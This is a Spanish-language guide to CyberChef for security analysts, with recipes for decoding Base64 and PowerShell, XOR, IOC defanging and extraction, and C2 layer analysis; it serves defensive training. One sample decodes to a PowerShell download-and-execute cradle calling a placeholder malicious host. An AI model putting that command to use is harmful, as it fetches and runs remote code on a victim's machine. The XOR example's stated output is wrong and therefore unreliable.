CyberChef: La Navaja Suiza del Analista de Seguridad
Guía completa de CyberChef, la herramienta web del GCHQ para codificación, decodificación y análisis de datos. Recetas prácticas para Base64, XOR, defanging de IOCs, deobfuscación de PowerShell y extracción de indicadores de compromiso.
Qué es CyberChef
CyberChef es una herramienta web desarrollada por GCHQ (Government Communications Headquarters, la agencia de inteligencia de señales del Reino Unido) que permite realizar transformaciones de datos mediante una interfaz visual. Su diseño de "recetas" donde se encadenan operaciones la convierte en la herramienta más versátil para el trabajo diario de analistas SOC, investigadores CTI y equipos de respuesta a incidentes.
La metáfora es simple: tienes un input (los datos a procesar), una receta (cadena de operaciones) y un output (el resultado). Las operaciones se arrastran desde un panel lateral y se encadenan en orden. Cada operación transforma el output de la anterior, permitiendo construir pipelines de decodificación complejos de forma visual.
CyberChef ejecuta todo en el navegador del cliente. Los datos nunca salen de tu máquina, lo que lo hace seguro para trabajar con indicadores de compromiso y datos sensibles. Para máxima seguridad, puedes descargar la versión offline y ejecutarla sin conexión.
Acceso y configuración
Versión online
https://gchq.github.io/CyberChef
Versión offline (recomendada para datos sensibles)
# Descargar desde GitHub releases
wget https://github.com/gchq/CyberChef/releases/latest/download/CyberChef.zip
unzip CyberChef.zip -d cyberchef/
# Abrir CyberChef.html en el navegador (sin servidor necesario)
Interfaz
La interfaz se divide en cuatro zonas:
┌──────────────────────────────────────────────────┐
│ OPERATIONS (panel izquierdo) │
│ Categorías de operaciones │
│ Barra de búsqueda para encontrar operaciones │
├──────────────────────────────────────────────────┤
│ RECIPE (panel central superior) │
│ Arrastra operaciones aquí para crear la receta │
├──────────────────────────────────────────────────┤
│ INPUT (panel central izquierdo) │
│ Pega aquí los datos a procesar │
├──────────────────────────────────────────────────┤
│ OUTPUT (panel central derecho) │
│ Resultado de la receta aplicada al input │
└──────────────────────────────────────────────────┘
Recetas esenciales para analistas
Receta 1: Decodificar Base64
El caso más frecuente. Malware, scripts maliciosos y comunicaciones C2 usan Base64 constantemente.
Operación: From Base64
Input:
cG93ZXJzaGVsbCAtZW5jIFNBQkpBRThBWHdCMEFHVUFjd0IwQUY4QQ==
Output:
powershell -enc SABJAEoAXwB0AGUAcwB0AF8A
Nota: si el resultado es otro Base64, encadena la operación dos veces.
Si el resultado parece UTF-16LE (caracteres con \x00 intercalados),
añade "Decode text" con codificación UTF-16LE.
Receta 2: Decodificar Base64 + UTF-16LE (PowerShell encoded)
Los scripts PowerShell maliciosos usan -EncodedCommand con Base64 en UTF-16LE:
Receta:
1. From Base64
2. Decode text (UTF-16LE)
Input:
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBhAGwAaQBjAGkAbwB1AHMALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQAJwApAA==
Output:
IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/payload')
Esta receta es probablemente la más utilizada en investigaciones de malware basado en PowerShell.
Receta 3: XOR bruteforce
Muchos malware cifran strings con XOR de un solo byte. CyberChef puede probar las 256 posibilidades:
Receta:
1. XOR Brute Force
- Key length: 1
- Sample length: 100
Input: (datos binarios sospechosos en hex)
Output: muestra los 256 resultados con la clave que produjo texto legible.
Para XOR con clave conocida:
Receta:
1. From Hex
2. XOR (Key: 0x41, Scheme: Standard)
Input:
2d2c2f2b332a2d3c
Output:
lmnotext
Receta 4: Defanging y refanging de IOCs
Los IOCs se "defangean" para evitar clicks accidentales en URLs maliciosas:
Defanging (hacer seguro):
Receta: Defang URL
Input:
http://malicious.com/payload.exe
Output:
hxxp://malicious[.]com/payload[.]exe
---
Refanging (restaurar original para búsqueda):
Receta: Refang URL
Input:
hxxp://malicious[.]com/payload[.]exe
Output:
http://malicious.com/payload.exe
Receta 5: Extraer IOCs de un texto
Extraer automáticamente indicadores de compromiso de un informe, email o log:
Receta:
1. Extract IP addresses
(o Extract URLs, Extract domains, Extract email addresses)
Input:
El servidor C2 se encuentra en 192.168.1.100 y el secundario
en 10.0.0.50. El dominio de distribución es evil.example.com
con URL http://evil.example.com/stage2.exe. Contacto:
[email protected]
Output (Extract IP addresses):
192.168.1.100
10.0.0.50
Output (Extract URLs):
http://evil.example.com/stage2.exe
Output (Extract email addresses):
[email protected]
Para extraer múltiples tipos de IOCs, encadena las operaciones o usa "Extract all IPs" + "Extract URLs" con el modifier "Fork" para procesar en paralelo.
Receta 6: Decodificar Hex dumps
Receta:
1. From Hex
Input:
48 65 6c 6c 6f 20 57 6f 72 6c 64
Output:
Hello World
Receta 7: Analizar headers de email sospechoso
Receta:
1. Parse email headers (para extraer la cadena de servidores)
O para decodificar subjects codificados:
1. From Quoted Printable
2. Decode text (UTF-8)
Receta 8: Deobfuscar JavaScript malicioso
Receta:
1. JavaScript Beautify (formatear el código)
2. Find / Replace (eliminar ofuscación conocida)
3. From Char Code (si usa String.fromCharCode)
Input:
eval(String.fromCharCode(118,97,114,32,120,61,34,109,97,108,119,97,114,101,34))
Output (tras From Char Code con delimitador coma):
var x="malware"
Receta 9: Descomprimir datos
Receta para Gzip:
1. From Base64 (si viene codificado)
2. Gunzip
Receta para Deflate:
1. From Base64
2. Raw Inflate
Receta para Zlib:
1. From Base64
2. Zlib Inflate
Receta 10: Calcular hashes
Receta:
1. MD5 (o SHA1, SHA256, SHA512)
Input: (contenido del archivo o texto)
Output:
5d41402abc4b2a76b9719d911017c592
Para múltiples hashes a la vez:
1. Generate all hashes
Output:
MD5: ...
SHA1: ...
SHA256: ...
SHA512: ...
Recetas avanzadas para CTI
Decodificar comunicación C2 multi-capa
Muchos frameworks C2 (Cobalt Strike, Metasploit) usan codificación en capas:
Receta típica de Cobalt Strike beacon:
1. From Base64
2. Gunzip
3. XOR (Key: variable según configuración)
4. From Base64 (segundo layer)
El orden y las operaciones varían según el C2 framework,
pero CyberChef permite experimentar rápidamente encadenando
operaciones hasta obtener texto legible.
Convertir timestamps Unix
Receta:
1. From Unix Timestamp (con opción de milisegundos si aplica)
Input:
1717632000
Output:
Thu 06 June 2024 00:00:00 UTC
Extraer IOCs de PCAP (hex dump)
Receta:
1. From Hex dump
2. Extract URLs
3. Unique
4. Sort
Decodificar strings ROT13
Algunos malware simples usan ROT13 para ofuscar strings:
Receta:
1. ROT13
Input:
uggc://rivy.rknzcyr.pbz/cnlybnq
Output:
http://evil.example.com/payload
Funcionalidades avanzadas
Magic (detección automática)
La operación "Magic" intenta detectar automáticamente qué codificación usan los datos:
Receta:
1. Magic (Intensive mode: checked, Extensive language support: checked)
Input: datos desconocidos
Output: CyberChef prueba múltiples decodificaciones y muestra
las que producen resultados legibles, ordenadas por probabilidad.
"Magic" es especialmente útil cuando no sabes qué codificación usa el malware. Prueba Base64, Hex, URL encoding, Gzip, XOR y más.
Regular Expressions (Regex)
Receta:
1. Regular expression
Pattern: ([0-9]{1,3}\.){3}[0-9]{1,3}
Output format: List matches
Input: (cualquier texto con IPs)
Output: lista de todas las IPs encontradas
Fork y Merge
Fork divide el input en partes y aplica operaciones a cada parte independientemente:
Receta:
1. Fork (split delimiter: \n)
2. From Base64
3. Merge (join delimiter: \n)
Input (varias líneas Base64):
SGVsbG8=
V29ybGQ=
TWFsd2FyZQ==
Output:
Hello
World
Malware
Guardar y compartir recetas
Métodos para guardar recetas:
1. URL: la receta se codifica en la URL del navegador
→ compartir el enlace con otros analistas
2. JSON: exportar receta como JSON
→ guardar en repositorio de recetas del equipo
3. Bookmarks: guardar como marcador del navegador
CyberChef en el flujo de trabajo SOC
Triaje de alertas
Cuando un analista SOC N1 recibe una alerta con datos codificados:
1. Copiar el payload sospechoso de la alerta
2. Pegar en CyberChef
3. Probar "Magic" para detección automática
4. Si es Base64 + PowerShell → receta 2
5. Si tiene URLs → defangear antes de documentar
6. Extraer IOCs → buscar en MalwareIntel/VirusTotal
Análisis de phishing
1. Pegar el HTML del email sospechoso
2. Extract URLs → obtener todos los enlaces
3. Defang URLs → documentar de forma segura
4. Decode entities → revelar URLs ofuscadas con HTML entities
5. Extract IP addresses → IPs embebidas en el email
Procesamiento de logs
1. Pegar logs con datos codificados
2. Regular expression → extraer campos específicos
3. From Base64 / From Hex → decodificar payloads
4. Unique → eliminar duplicados
5. Sort → ordenar resultados
CyberChef desde línea de comandos
Para automatización, CyberChef puede ejecutarse con Node.js:
# Instalar cyberchef-node
npm install -g cyberchef
# Ejemplo: decodificar Base64 desde CLI
echo "SGVsbG8gV29ybGQ=" | cyberchef "From_Base64"
# Ejemplo con receta multi-paso
echo "data" | cyberchef "From_Base64,Gunzip,Extract_URLs"
Alternativas
| Herramienta | Comparación con CyberChef |
|---|---|
| Dcode.fr | Más especializado en criptografía clásica (cifras históricas) |
| CyberChef CLI | Versión Node.js para automatización |
| Python scripts | Más flexibles pero requieren programación |
| PowerShell | Bueno para decodificación rápida de Base64/UTF-16LE |
CyberChef no tiene competidor real en su nicho. La combinación de interfaz visual, más de 300 operaciones, ejecución client-side y facilidad para encadenar transformaciones lo convierte en herramienta imprescindible. Cada analista de seguridad debería tener CyberChef como pestaña permanente del navegador.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
REMnux: La Distro de Referencia para Análisis de Malware
Ghidra vs IDA vs Radare2: Comparativa de Reversing Frameworks
Sandboxes Comparadas: ANY.RUN vs CAPE vs Joe Sandbox vs Hybrid Analysis
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.